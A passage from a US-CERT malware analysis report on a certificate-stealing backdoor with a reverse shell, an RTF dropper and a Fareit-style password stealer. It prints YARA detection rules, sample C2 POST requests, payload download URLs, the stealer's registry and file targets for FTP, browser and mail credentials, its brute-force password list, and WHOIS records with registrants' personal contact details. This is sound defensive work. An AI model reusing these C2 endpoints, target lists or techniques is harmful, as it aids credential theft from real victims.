-Begin YARA Signature- rule unidentified_malware  meta: Author  US-CERT Code Analysis Team Date  16JAN17 Incident  10105049 File  9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0 MD5  AE7E3E531494B201FBF6021066DDD188 strings: my_string_one   8D 78 03 8A 65 FF 8D A4 24 00 00 00 00 8A 04 0F 32 C4 88 04 11 41 3B CE 72 F3 my_string_two  CryptAcquireCertificatePrivateKey my_string_three  CertFreeCertificateContext my_string_four  CertEnumCertificatesInStore my_string_five  PFXImportCertStore condition: all of them  -End YARA Signature- During runtime, the malware attempts to communicate with its C2 server, cderlearn[.
]com.
Displayed below are sample connections between the malware and its C2 server.
Begin Sample C2 Connections POST /search.cfm HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) Host: www[.
]cderlearn.com Content-Length: 38 Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache rssa5ce5fapgf8sa8816db73d479e8e35 POST /search.cfm HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) Host: www[.
]cderlearn.com Content-Length: 46 Cache-Control: no-cache id3sourcea804b4b73d479eebearss53d0eid3c -End Sample C2 Connections- The application attempts to download data from a C2 server and write it to a randomly named .tmp file within the users TEMP directory.
Some of the file names used to store this downloaded data within our lab environment are displayed below: -Begin Sample File Names- TEMP\Cab5.tmp TEMP\Tar6.tmp TEMP\Cab7.tmp TEMP\Tar8.tmp -End Sample File Names- Analysis indicates this application provides several notable capabilities to an operator.
The program provides an operator access to a reverse shell on the victim system.
Additionally, the malware provides an operator the capability to enumerate the victims Windows Certificate Store, and extract identified digital certificates, including private keys.
The application also allows an operator to enumerate all physical drives and network resources the victim system has access to.
US-CERT MIFR-10105049-Update2 17 of 63 Screenshots digital_cert_steal.bmp Screen shot of code used by 9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0 to steal a victim users digital certificates from the Windows Certificate Store.
ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d3235b9c1e0dad683538cc8e Details Name ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d3235b9c1e0dad683538cc8e Size 714679 Type Rich Text Format data, version 1, unknown character set MD5 81f1af277010cb78755f08dfcc379ca6 SHA1 9cb7716d83c0d06ab356bdfa52def1af64bc5210 ssdeep 3072:0gOxPV0p1knm8Z0gPJQ3kq9d6AvgBodb30aCubtvn7JBsEitau3QCv:jOBVs1knm8ZPJQ3kqoodkuZjlbVY Entropy 3.29548128269 Antivirus F-prot W32/Dridex.
HX McAfee Fareit-FHF NetGate Trojan.
Win32.Malware F-secure Gen:Variant.
Razy.41230 Symantec Trojan.
Fareit VirusBlokAda TrojanPSW.Fareit ClamAV Win.
Trojan.
Agent-5486255-0 Kaspersky Trojan-PSW.Win32.Fareit.bshk TrendMicro TROJ_FA.6BBF19ED Sophos Troj/Fareit-AMQ Avira TR/AD.Fareit.
Y.ehkw Microsoft PWS:Win32/Fareit Ahnlab RTF/Dropper NANOAV Trojan.
Rtf.Stealer.efqzyl TrendMicroHouseCall TROJ_FA.6BBF19ED Ikarus Trojan.
Win32.Zlader Relationships (F) ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d Dropped (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 US-CERT MIFR-10105049-Update2 18 of 63 3235b9c1e0dad683538cc8e (81f1a) 86db31e509f8dcaa13acec5 (617ba) (F) ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e (81f1a) Characterized_By (S) ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d 3235b9c1e0dad683538cc8e Description This is a malicious RTF document containing an embedded encoded executable.
Upon execution, the RTF will decode and install the executable to Temp\m3.tmp (9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5).
The encoded executable is decoded using a hexadecimal algorithm.
The document will attempt to execute m3.tmp but fails to execute due to the file exetension.
Screenshots ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d3235b9c1e0dad683538cc8e 9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5 Details Name 9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5 Size 117248 Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 617ba99be8a7d0771628344d209e9d8a SHA1 7cefb021fb30f985b427b584be9c16e364836739 ssdeep 3072:CN7FVxVzbL02rXlwiIrClX1O6OhOqsY9WZYWmwdaX82X45iAKMaEUSDslGz0x:CNxVjbLXDup2lXY6O0VYIOMW Entropy 6.86854130027 Antivirus F-prot W32/Dridex.
HX McAfee Fareit-FHF K7 Trojan ( 004df8ee1 ) Systweak trojan.passwordstealer F-secure Gen:Variant.
Razy.41230 VirIT Trojan.
Win32.Crypt5.AYWX Symantec Trojan.
Fareit VirusBlokAda TrojanPSW.Fareit Zillya Trojan.
Fareit.
Win32.14782 ClamAV Win.
Trojan.
Agent-5486256-0 Kaspersky Trojan-PSW.Win32.Fareit.bshk TrendMicro TSPY_FA.CFEECD19 Sophos Troj/Fareit-AMQ Avira TR/AD.Fareit.
Y.ehkw Microsoft PWS:Win32/Fareit Ahnlab Trojan/Win32.Fareit US-CERT MIFR-10105049-Update2 19 of 63 The file xtool.exe was not available for download at the time of analysis.
This executable file drops and executes a batch file Temp\[random digits].bat to delete itself and the batch file at the end of the execution.
Displayed below are sample connections between the malware and its C2 server.
Begin Sample Connections to C2 Server POST /zapoy/gate.php HTTP/1.0 Host: wilcarobbe.com Accept: / Accept-Encoding: identity, q0 Accept-Language: en-US Content-Length: 196 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) ...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u.
X..3S3.S..A.5..U...N.W...eY...o....V...v..............]..Y.L.5.b[.?..
)........
V....H...4.......OGf.
L..fB.N.v[H.b_...w......j5 POST /zapoy/gate.php HTTP/1.0 Host: littjohnwilhap.ru Accept: / Accept-Encoding: identity, q0 Accept-Language: en-US Content-Length: 196 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) ...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u.
X..3S3.S..A.5..U...N.W...eY...o....V...v..............]..Y.L.5.b[.?..
)........
V....H...4.......OGf.
L..fB.N.v[H.b_...w......j5 POST /zapoy/gate.php HTTP/1.0 Host: ritsoperrol.ru Accept: / Accept-Encoding: identity, q0 Accept-Language: en-US Content-Length: 196 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) ...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u.
X..3S3.S..A.5..U...N.W...eY...o....V...v..............]..Y.L.5.b[.?..
)........
V....H...4.......OGf.
L..fB.N.v[H.b_...w......j5 End Sample Connections to C2 Server Static analysis of the unpacked portions of this file indicate it is, among other things, capable of targeting multiple Windows applications.
For example, the malware searches the Windows registry for keys utilized by multiple types of Windows email software.
If found, the malware attempts to extract email passwords from these keys.
This appears to be an attempt to gain unauthorized access to the victim users emails.
In addition, the software attempts to find registry keys used by the Windows file management software named Total Commander.
This appears to be an attempt to gain unauthorized access to the victim users stored files.
The software also contains a list of commonly used passwords.
This indicates the malware provides an operator the capability to brute force their way into a victim users email accounts or locations where their files are stored.
Displayed below is a YARA signature which may be utilized to detect this software both packed on disk, and running within system memory.
Begin YARA Signature US-CERT MIFR-10105049-Update2 21 of 63 rule unidentified_malware_two  meta: Author  US-CERT Code Analysis Team Date  16JAN17 Incident  10105049 File  9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5 MD5  617BA99BE8A7D0771628344D209E9D8A strings: my_string_one  /zapoy/gate.php my_string_two   E3 40 FE 45 FD 0F B6 45 FD 0F B6 14 38 88 55 FF 00 55 FC 0F B6 45 FC 8A 14 38 88 55 FE 0F B6 45 FD 88 14 38 0F B6 45 FC 8A 55 FF 88 14 38 8A 55 FF 02 55 FE 8A 14 3A 8B 45 F8 30 14 30 my_string_three  S:\\Lidstone\\renewing\\HA\\disable\\In.pdb my_string_four   8B CF 0F AF CE 8B C6 99 2B C2 8B 55 08 D1 F8 03 C8 8B 45 FC 03 C2 89 45 10 8A 00 2B CB 32 C1 85 DB 74 07 my_string_five  fuckyou1 my_string_six  xtool.exe condition: (my_string_one and my_string_two) or (my_string_three or my_string_four) or (my_string_five and my_string_six)  End YARA Signature-- Displayed below are strings of interest extracted from the unpacked portions of this malware: Begin Strings of Interest 1DA409EB2825851644CCDAB 1RcpNUE12zpJ8uDaDqlygR70aZl2ogwes wilcarobbe.com/zapoy/gate.php littjohnwilhap.ru/zapoy/gate.php ritsoperrol.ru/zapoy/gate.php one2shoppee.com/system/logs/xtool.exe insta.reduct.ru/system/logs/xtool.exe editprod.waterfilter.in.ua/system/logs/xtool.exe YUIPWDFILE0YUIPKDFILE0YUICRYPTED0YUI1.0 MODU SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall UninstallString DisplayName .exe Software\WinRAR open vaultcli.dll VaultOpenVault VaultEnumerateItems VaultGetItem VaultCloseVault VaultFree kernel32.dll WTSGetActiveConsoleSessionId ProcessIdToSessionId netapi32.dll NetApiBufferFree NetUserEnum ole32.dll StgOpenStorage advapi32.dll AllocateAndInitializeSid CheckTokenMembership FreeSid CredEnumerateA CredFree CryptGetUserKey CryptExportKey CryptDestroyKey CryptReleaseContext RevertToSelf US-CERT MIFR-10105049-Update2 22 of 63 OpenProcessToken ImpersonateLoggedOnUser GetTokenInformation ConvertSidToStringSidA LogonUserA LookupPrivilegeValueA AdjustTokenPrivileges CreateProcessAsUserA crypt32.dll CryptUnprotectData CertOpenSystemStoreA CertEnumCertificatesInStore CertCloseStore CryptAcquireCertificatePrivateKey msi.dll MsiGetComponentPathA pstorec.dll PStoreCreateInstance userenv.dll CreateEnvironmentBlock DestroyEnvironmentBlock [9D wY wSw wv vshell32.dll SHGetFolderPathA My Documents AppData Local AppData Cache Cookies History My Documents Common AppData My Pictures Common Documents Common Administrative Tools Administrative Tools Personal Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders explorer.exe S-1-5-18 SeImpersonatePrivilege SeTcbPrivilege SeChangeNotifyPrivilege SeCreateTokenPrivilege SeBackupPrivilege SeRestorePrivilege SeIncreaseQuotaPrivilege SeAssignPrimaryTokenPrivilege GetNativeSystemInfo kernel32.dll IsWow64Process Mozilla/4.0 (compatible MSIE 8.0 Windows NT 5.1 Trident/5.0) POST s HTTP/1.0 Host: s Accept: / Accept-Encoding: identity, q0 Accept-Language: en-US Content-Length: lu Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: s Content-Length: Location: \.
.
Software\Microsoft\Windows\CurrentVersion\Internet Settings ProxyServer HWID US-CERT MIFR-10105049-Update2 23 of 63 08X-04X-04X-02X02X-02X02X02X02X02X02X Software\Far\Plugins\FTP\Hosts Software\Far2\Plugins\FTP\Hosts Software\Far Manager\Plugins\FTP\Hosts Software\Far\SavedDialogHistory\FTPHost Software\Far2\SavedDialogHistory\FTPHost Software\Far Manager\SavedDialogHistory\FTPHost Password HostName User Line wcx_ftp.ini \GHISLER InstallDir FtpIniName Software\Ghisler\Windows Commander Software\Ghisler\Total Commander CUTEFTP QCHistory Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar Software\GlobalSCAPE\CuteFTP 9\QCToolbar \GlobalSCAPE\CuteFTP \GlobalSCAPE\CuteFTP Pro \GlobalSCAPE\CuteFTP Lite \CuteFTP \sm.dat Software\FlashFXP\3 Software\FlashFXP Software\FlashFXP\4 InstallerDathPath path Install Path DataFolder \Sites.dat \Quick.dat \History.dat \FlashFXP\3 \FlashFXP\4 \FileZilla \sitemanager.xml \recentservers.xml \filezilla.xml Software\FileZilla Software\FileZilla Client Install_Dir Host User Pass Port Remote Dir Server Type Server.
Host Server.
User Server.
Pass Server.
Port Path ServerType Last Server Host Last Server User Last Server Pass Last Server Port Last Server Path Last Server Type Software\FTPWare\COREFTP\Sites Host User Port US-CERT MIFR-10105049-Update2 24 of 63 PthR SSH .ini \VanDyke\Config\Sessions \Sessions Software\VanDyke\SecureFX Config Path Password HostName UserName RemoteDirectory PortNumber FSProtocol Software\Martin Prikryl http[:]// https[:]// ftp:// opera wand.dat _Software\Opera Software Last Directory3 Last Install Path Opera.
HTML\shell\open\command \Opera Software nss3.dll NSS_Init NSS_Shutdown NSSBase64_DecodeBuffer SECITEM_FreeItem PK11_GetInternalKeySlot PK11_Authenticate PK11SDR_Decrypt PK11_FreeSlot profiles.ini Profile IsRelative Path PathToExe prefs.js logins.json signons.sqlite signons.txt signons2.txt signons3.txt encryptedPassword: encryptedUsername: hostname: 2c 2d 2e Firefox \Mozilla\Firefox\ Software\Mozilla --- ftp:// http[:]// https[:]// ftp.
Mozilla \Mozilla\Profiles\ Favorites.dat WinFTP Internet Explorer WininetCacheCredentials MS IE FTP Passwords DPAPI: J7 AJ7 BJ7 02X Software\Microsoft\Internet Explorer\IntelliForms\Storage2 SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage US-CERT MIFR-10105049-Update2 25 of 63 \microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms\FormData http[:]//www[.
]facebook.com/ Microsoft_WinInet_ ftp:// SspiPfc JpM USQLite format 3 table () CONSTRAINT PRIMARY UNIQUE CHECK FOREIGN Web Data Login Data logins origin_url password_value username_value ftp:// http[:]// https[:]// moz_logins hostname encryptedPassword encryptedUsername \Google\Chrome \Chromium \ChromePlus Software\ChromePlus Install_Dir .rdp TERMSRV/ password 51:b: username:s: full address:s: TERMSRV/ hM O  a y 1z .oeaccount Salt _OP3_Password2 _MTP_Password2 IMAP_Password2 HTTPMail_Password2 \Microsoft\Windows Live Mail Software\Microsoft\Windows Live Mail \Microsoft\Windows Mail Software\Microsoft\Windows Mail Software\IncrediMail EmailAddress Technology PopServer PopPort PopAccount PopPassword SmtpServer SmtpPort SmtpAccount SmtpPassword SMTP Email Address SMTP Server POP3 Server POP3 User Name SMTP User Name NNTP Email Address NNTP User Name US-CERT MIFR-10105049-Update2 26 of 63 NNTP Server IMAP Server IMAP User Name Email HTTP User HTTP Server URL POP3 User IMAP User HTTPMail User Name HTTPMail Server SMTP User POP3 Port SMTP Port IMAP Port POP3 Password2 IMAP Password2 NNTP Password2 HTTPMail Password2 SMTP Password2 POP3 Password IMAP Password NNTP Password HTTP Password SMTP Password Software\Microsoft\Internet Account Manager\Accounts Identities Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook Software\Microsoft\Internet Account Manager Outlook \Accounts identification identitymgr inetcomm server passwords outlook account manager passwords identities 08X-04X-04X-02X02X-02X02X02X02X02X02X Thunderbird \Thunderbird samantha michelle david eminem scooter asdfasdf sammy baby diamond maxwell 55555 justin james chicken danielle iloveyou2 fuckoff prince junior rainbow 112233 fuckyou1 nintendo peanut none church bubbles robert 222222 destiny US-CERT MIFR-10105049-Update2 27 of 63 loving gfhjkm mylove jasper hallo 123321 cocacola helpme nicole guitar billgates looking scooby joseph genesis forum emmanuel cassie victory passw0rd foobar ilovegod nathan blabla digital peaches football1 11111111 power thunder gateway iloveyou football tigger corvette angel killer creative 123456789 google zxcvbnm startrek ashley cheese sunshine christ 000000 soccer qwerty1 friend summer 1234567 merlin phpbb 12345678 jordan saved dexter viper winner sparky windows 123abc lucky anthony jesus ghbdtn admin hotdog baseball password1 dragon US-CERT MIFR-10105049-Update2 28 of 63 trustno1 jason internet mustdie john letmein 123 mike knight jordan23 abc123 red123 praise freedom jesus1 12345 london computer microsoft muffin qwert mother master 111111 qazwsx samuel canada slayer rachel onelove qwerty prayer iloveyou1 whatever god password blessing snoopy 1q2w3e4r cookie 11111 chelsea pokemon hahaha aaaaaa hardcore shadow welcome mustang 654321 bailey blahblah matrix jessica stella benjamin testing secret trinity richard peace shalom monkey iloveyou thomas blink182 jasmine purple test angels grace hello US-CERT MIFR-10105049-Update2 29 of 63 poop blessed 1234567890 heaven hunter pepper john316 cool buster andrew faith ginger 7777777 hockey hello1 angel1 superman enter daniel 123123 forever nothing dakota kitten asdf 1111 banana gates flower taylor lovely hannah princess compaq jennifer myspace1 smokey matthew harley rotimi fuckyou soccer1 123456 single joshua green 123qwe starwars love silver austin michael amanda 1234 charlie bandit chris happy hope maggie maverick online spirit george friends dallas adidas 1q2w3e 7777 orange testtest asshole US-CERT MIFR-10105049-Update2 30 of 63 apple biteme 666666 william mickey asdfgh wisdom batman pass End Strings of Interest Analysis indicates the primary purpose of this application is to allow an operator to gain unauthorized access to the victims user data and email by hijacking the applications.
Screenshots searching_reg_pop3.bmp Code utilized by 9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5 to parse email passwords from the users Windows registry hive.
Domains private.directinvesting.com HTTP Sessions GET /lexicon/index.cfm?dqd9487pg149a8d6adb73d479e66c6 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) Host: private.directinvesting.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache GET /lexicon/index.cfm?source0887acssb9utm_term80aaeb73d479e66c6f12 HTTP/1.1 US-CERT MIFR-10105049-Update2 31 of 63 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) Host: private.directinvesting.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache GET /lexicon/index.cfm?utm_content876b73d479e66c6source19bd05efa8c HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) Host: private.directinvesting.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache Whois Address lookup canonical name private.directinvesting.com.
aliases addresses 204.12.12.40 Domain Whois record Queried whois.internic.net with dom directinvesting.com... Domain Name: DIRECTINVESTING.COM Registrar: NETWORK SOLUTIONS, LLC.
Sponsoring Registrar IANA ID: 2 Whois Server: whois.networksolutions.com Referral URL: http[:]//networksolutions.com Name Server: NS1.LNHI.NET Name Server: NS2.LNHI.NET Name Server: NS3.LNHI.NET Status: clientTransferProhibited https[:]//icann.org/eppclientTransferProh bited Updated Date: 04-jun-2016 Creation Date: 04-aug-1997 Expiration Date: 03-aug-2021 Last update of whois database: Mon, 16 Jan 2017 12:55:58 GMT Queried whois.networksolutions.com with directinvesting.com... Domain Name: DIRECTINVESTING.COM Registry Domain ID: 5318825_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.networksolutions.com Registrar URL: http[:]//networksolutions.com Updated Date: 2016-06-04T07:10:34Z Creation Date: 1997-08-04T04:00:00Z Registrar Registration Expiration Date: 2021-08-03T04:00:00Z Registrar: NETWORK SOLUTIONS, LLC.
Registrar IANA ID: 2 Registrar Abuse Contact Email: abuseweb.com Registrar Abuse Contact Phone: 1.8003337680 Reseller: Domain Status: clientTransferProhibited https[:]//icann.org/eppclientTransferProh bited Registry Registrant ID: Registrant Name: The Moneypaper Inc. Registrant Organization: The Moneypaper Inc. Registrant Street: 555 THEODORE FREMD AVE STE B103 Registrant City: RYE Registrant State/Province: NY Registrant Postal Code: 10580-1456 Registrant Country: US Registrant Phone: 1.9149250022 Registrant Phone Ext: Registrant Fax: 1.9149219318 Registrant Fax Ext: Registrant Email: vnelsonmoneypaper.com Registry Admin ID: Admin Name: Nelson, Vita Admin Organization: Money Paper Inc Admin Street: 411 THEODORE FREMD AVE Admin City: RYE Admin State/Province: NY Admin Postal Code: 10580-1410 US-CERT MIFR-10105049-Update2 32 of 63 Admin Country: US Admin Phone: 1.9149250022 Admin Phone Ext: Admin Fax: 1.9149215745 Admin Fax Ext: Admin Email: vnelsonmoneypaper.com Registry Tech ID: Tech Name: Nelson, Vita Tech Organization: Money Paper Inc Tech Street: 411 THEODORE FREMD AVE Tech City: RYE Tech State/Province: NY Tech Postal Code: 10580-1410 Tech Country: US Tech Phone: 1.9149250022 Tech Phone Ext: Tech Fax: 1.9149215745 Tech Fax Ext: Tech Email: vnelsonmoneypaper.com Name Server: NS1.LNHI.NET Name Server: NS2.LNHI.NET Name Server: NS3.LNHI.NET DNSSEC: Unsigned URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/ Last update of WHOIS database: 2017-01-16T12:56:12Z Network Whois record Queried whois.arin.net with n  NET-204-12-12-32-1... NetRange:       204.12.12.32 - 204.12.12.63 CIDR:           204.12.12.32/27 NetName:        THEMONEYPAPERINC NetHandle:      NET-204-12-12-32-1 Parent:         HOSTMYSITE (NET-204-12-0-0-1) NetType:        Reassigned OriginAS:       AS20021 Customer:       THE MONEYPAPER INC. (
C02687180) RegDate:        2011-02-03 Updated:        2011-02-03 Ref:            https[:]//whois.arin.net/rest/net/NET-204-12-12-32-1 CustName:       THE MONEYPAPER INC.
Address:        555 THEODORE FREMD AVENUE SUITE B-103 City:           RYE StateProv:      NY PostalCode:     10580 Country:        US RegDate:        2011-02-03 Updated:        2011-03-19 Ref:            https[:]//whois.arin.net/rest/customer/C02687180 OrgNOCHandle: IPADM271-ARIN OrgNOCName:   IP Admin OrgNOCPhone:  1-302-731-4948 OrgNOCEmail:  ipadminhostmysite.com OrgNOCRef:    https[:]//whois.arin.net/rest/poc/IPADM271-ARIN OrgTechHandle: IPADM271-ARIN OrgTechName:   IP Admin OrgTechPhone:  1-302-731-4948 OrgTechEmail:  ipadminhostmysite.com OrgTechRef:    https[:]//whois.arin.net/rest/poc/IPADM271-ARIN OrgAbuseHandle: ABUSE1072-ARIN OrgAbuseName:   Abuse OrgAbusePhone:  1-302-731-4948 OrgAbuseEmail:  abusehostmysite.com OrgAbuseRef:    https[:]//whois.arin.net/rest/poc/ABUSE1072-ARIN RNOCHandle: IPADM271-ARIN RNOCName:   IP Admin RNOCPhone:  1-302-731-4948 RNOCEmail:  ipadminhostmysite.com RNOCRef:    https[:]//whois.arin.net/rest/poc/IPADM271-ARIN RTechHandle: IPADM271-ARIN RTechName:   IP Admin RTechPhone:  1-302-731-4948 RTechEmail:  ipadminhostmysite.com US-CERT MIFR-10105049-Update2 33 of 63 RTechRef:    https[:]//whois.arin.net/rest/poc/IPADM271-ARIN RAbuseHandle: IPADM271-ARIN RAbuseName:   IP Admin RAbusePhone:  1-302-731-4948 RAbuseEmail:  ipadminhostmysite.com RAbuseRef:    https[:]//whois.arin.net/rest/poc/IPADM271-ARIN DNS records DNS query for 40.12.12.204.in-addr.arpa returned an error from the server: NameError name class type data time to live private.directinvesting.com IN A 204.12.12.40 3600s (01:00:00) directinvesting.com IN SOA server: ns1.lnhi.net email: administratorlnhi.net serial: 24 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 3600 3600s (01:00:00) directinvesting.com IN NS ns3.lnhi.net 3600s (01:00:00) directinvesting.com IN NS ns1.lnhi.net 3600s (01:00:00) directinvesting.com IN NS ns2.lnhi.net 3600s (01:00:00) directinvesting.com IN A 204.12.12.41 3600s (01:00:00) directinvesting.com IN MX preference: 10 exchange: mail.moneypaper.com 3600s (01:00:00) Relationships (D) private.directinvesting.com Characterized_By (W) Address lookup (D) private.directinvesting.com Connected_From (F) 55058d3427ce932d8efcbe54dccf97c9a8d1e85c7 67814e34f4b2b6a6b305641 (8f154) (D) private.directinvesting.com Related_To (H) GET /lexicon/index.c (D) private.directinvesting.com Related_To (H) GET /lexicon/index.c (D) private.directinvesting.com Related_To (H) GET /lexicon/index.c (D) private.directinvesting.com Related_To (I) 204.12.12.40 Description Identified Command and Control Location.
cderlearn.com HTTP Sessions POST /search.cfm HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) Host: www[.
]cderlearn.com Content-Length: 38 Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache rssa5ce5fapgf8sa8816db73d479e8e35 POST /search.cfm HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) Host: www[.
]cderlearn.com Content-Length: 46 Cache-Control: no-cache id3sourcea804b4b73d479eebearss53d0eid3c US-CERT MIFR-10105049-Update2 34 of 63 Whois Address lookup canonical name cderlearn.com.
aliases addresses 209.236.67.159 Domain Whois record Queried whois.internic.net with dom cderlearn.com... Domain Name: CDERLEARN.COM Registrar: GODADDY.COM, LLC Sponsoring Registrar IANA ID: 146 Whois Server: whois.godaddy.com Referral URL: http[:]//www[.
]godaddy.com Name Server: NS1.WESTSERVERS.NET Name Server: NS2.WESTSERVERS.NET Status: clientDeleteProhibited https[:]//icann.org/eppclientDeleteProhibited Status: clientRenewProhibited https[:]//icann.org/eppclientRenewProhibited Status: clientTransferProhibited https[:]//icann.org/eppclientTransferProh bited Status: clientUpdateProhibited https[:]//icann.org/eppclientUpdateProhibited Updated Date: 03-feb-2016 Creation Date: 02-feb-2016 Expiration Date: 02-feb-2018 Last update of whois database: Mon, 16 Jan 2017 12:57:44 GMT Queried whois.godaddy.com with cderlearn.com... Domain Name: cderlearn.com Registry Domain ID: 1999727892_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.godaddy.com Registrar URL: http[:]//www[.
]godaddy.com Update Date: 2016-02-02T20:49:41Z Creation Date: 2016-02-02T20:49:41Z Registrar Registration Expiration Date: 2018-02-02T20:49:41Z Registrar: GoDaddy.com, LLC Registrar IANA ID: 146 Registrar Abuse Contact Email: abusegodaddy.com Registrar Abuse Contact Phone: 1.4806242505 Domain Status: clientTransferProhibited http[:]//www[.
]icann.org/eppclientTransferProh bited Domain Status: clientUpdateProhibited http[:]//www[.
]icann.org/eppclientUpdateProhibited Domain Status: clientRenewProhibited http[:]//www[.
]icann.org/eppclientRenewProhibited Domain Status: clientDeleteProhibited http[:]//www[.
]icann.org/eppclientDeleteProhibited Registry Registrant ID: Not Available From Registry Registrant Name: Craig Audley Registrant Organization: Registrant Street: 1 carpenters cottages Registrant City: holt Registrant State/Province: norfolk Registrant Postal Code: nr256sa Registrant Country: UK Registrant Phone: 44.1263710645 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: craigaudleygmail.com Registry Admin ID: Not Available From Registry Admin Name: Craig Audley Admin Organization: Admin Street: 1 carpenters cottages Admin City: holt Admin State/Province: norfolk Admin Postal Code: nr256sa Admin Country: UK Admin Phone: 44.1263710645 Admin Phone Ext: Admin Fax: Admin Fax Ext: Admin Email: craigaudleygmail.com Registry Tech ID: Not Available From Registry Tech Name: Craig Audley Tech Organization: Tech Street: 1 carpenters cottages Tech City: holt US-CERT MIFR-10105049-Update2 35 of 63 Tech State/Province: norfolk Tech Postal Code: nr256sa Tech Country: UK Tech Phone: 44.1263710645 Tech Phone Ext: Tech Fax: Tech Fax Ext: Tech Email: craigaudleygmail.com Name Server: NS1.WESTSERVERS.NET Name Server: NS2.WESTSERVERS.NET DNSSEC: unsigned URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/ Last update of WHOIS database: 2017-01-16T12:00:00Z Network Whois record Queried secure.mpcustomer.com with 209.236.67.159... Queried whois.arin.net with n 209.236.67.159... NetRange:       209.236.64.0 - 209.236.79.255 CIDR:           209.236.64.0/20 NetName:        WH-NET-209-236-64-0-1 NetHandle:      NET-209-236-64-0-1 Parent:         NET209 (NET-209-0-0-0-0) NetType:        Direct Allocation OriginAS:       AS29854 Organization:   WestHost, Inc. (WESTHO) RegDate:        2010-02-25 Updated:        2014-01-02 Ref:            https[:]//whois.arin.net/rest/net/NET-209-236-64-0-1 OrgName:        WestHost, Inc. OrgId:          WESTHO Address:        517 W 100 N STE 225 City:           Providence StateProv:      UT PostalCode:     84332 Country:        US RegDate:        2000-03-13 Updated:        2016-09-30 Comment:        Please report abuse issues to abuseuk2group.com Ref:            https[:]//whois.arin.net/rest/org/WESTHO ReferralServer:  rwhois://secure.mpcustomer.com:4321 OrgNOCHandle: NOC12189-ARIN OrgNOCName:   NOC 